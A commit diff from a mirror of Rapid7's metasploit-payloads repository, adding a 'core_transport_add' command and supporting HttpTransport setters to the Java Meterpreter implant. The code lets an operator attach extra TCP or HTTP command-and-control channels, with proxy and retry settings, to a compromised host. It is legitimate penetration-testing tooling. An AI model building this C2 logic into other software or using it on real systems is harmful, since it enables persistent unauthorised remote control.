1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

Add transport adding functionality

This commit is contained in:
OJ 2015-06-25 15:17:23 +10:00
parent 986b99abac
commit 1d67e972f6
5 changed files with 102 additions and 1 deletions

View File

@ -93,22 +93,42 @@ public class HttpTransport extends Transport {
return this.userAgent; return this.userAgent;
} }
public void setUserAgent(String userAgent) {
this.userAgent = userAgent;
}
public String getProxy() { public String getProxy() {
return this.proxy; return this.proxy;
} }
public void setProxy(String proxy) {
this.proxy = proxy;
}
public String getProxyUser() { public String getProxyUser() {
return this.proxyUser; return this.proxyUser;
} }
public void setProxyUser(String proxyUser) {
this.proxyUser = proxyUser;
}
public String getProxyPass() { public String getProxyPass() {
return this.proxyPass; return this.proxyPass;
} }
public void setProxyPass(String proxyPass) {
this.proxyPass = proxyPass;
}
public byte[] getCertHash() { public byte[] getCertHash() {
return this.certHash; return this.certHash;
} }
public void setCertHash(byte[] certHash) {
this.certHash = certHash;
}
public void disconnect() { public void disconnect() {
} }

View File

@ -260,6 +260,13 @@ public class TLVPacket {
return (byte[]) getValue(type); return (byte[]) getValue(type);
} }
/**
* Get the value associated to a type as a byte array.
*/
public byte[] getRawValue(int type, byte[] defaultValue) {
return (byte[]) getValue(type, defaultValue);
}
public TLVPacket createResponse() throws IOException { public TLVPacket createResponse() throws IOException {
TLVPacket response = new TLVPacket(); TLVPacket response = new TLVPacket();
response.add(TLVType.TLV_TYPE_METHOD, this.getStringValue(TLVType.TLV_TYPE_METHOD)); response.add(TLVType.TLV_TYPE_METHOD, this.getStringValue(TLVType.TLV_TYPE_METHOD));

View File

@ -22,5 +22,6 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("core_shutdown", core_shutdown.class); mgr.registerCommand("core_shutdown", core_shutdown.class);
mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class); mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class);
mgr.registerCommand("core_transport_list", core_transport_list.class); mgr.registerCommand("core_transport_list", core_transport_list.class);
mgr.registerCommand("core_transport_add", core_transport_add.class);
} }
} }

View File

@ -0,0 +1,74 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_add implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
System.out.println("msf : Running transport add code");
Transport t = null;
String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL);
if (transportUrl.startsWith("tcp")) {
t = new TcpTransport(transportUrl);
} else {
HttpTransport h = new HttpTransport(transportUrl);
// do the HTTP specific stuff here, since we know what we are
h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_TRANS_UA, new String()));
h.setProxy(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_HOST, new String()));
h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_USER, new String()));
h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_PASS, new String()));
h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_TRANS_CERT_HASH, null));
t = h;
}
// set the timeouts, defaulting the values that are currently set
// for the current sesion if nothing has been specified
try {
long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP);
meterpreter.setExpiry(sessionExpiry);
}
catch (IllegalArgumentException ex) {
}
try {
long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT);
t.setCommTimeout(commTimeout);
}
catch (IllegalArgumentException ex) {
t.setCommTimeout(meterpreter.getTransports().current().getCommTimeout());
}
try {
long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL);
t.setRetryTotal(retryTotal);
}
catch (IllegalArgumentException ex) {
t.setRetryTotal(meterpreter.getTransports().current().getRetryTotal());
}
try {
long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT);
t.setRetryWait(retryWait);
}
catch (IllegalArgumentException ex) {
t.setRetryWait(meterpreter.getTransports().current().getRetryWait());
}
meterpreter.getTransports().add(t);
System.out.println("msf : transport add code complete");
return ERROR_SUCCESS;
}
}

View File

@ -56,7 +56,6 @@ public class core_transport_list implements Command {
t = t.getNext(); t = t.getNext();
} while (t != first); } while (t != first);
System.out.println("msf : transport list code complete"); System.out.println("msf : transport list code complete");
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }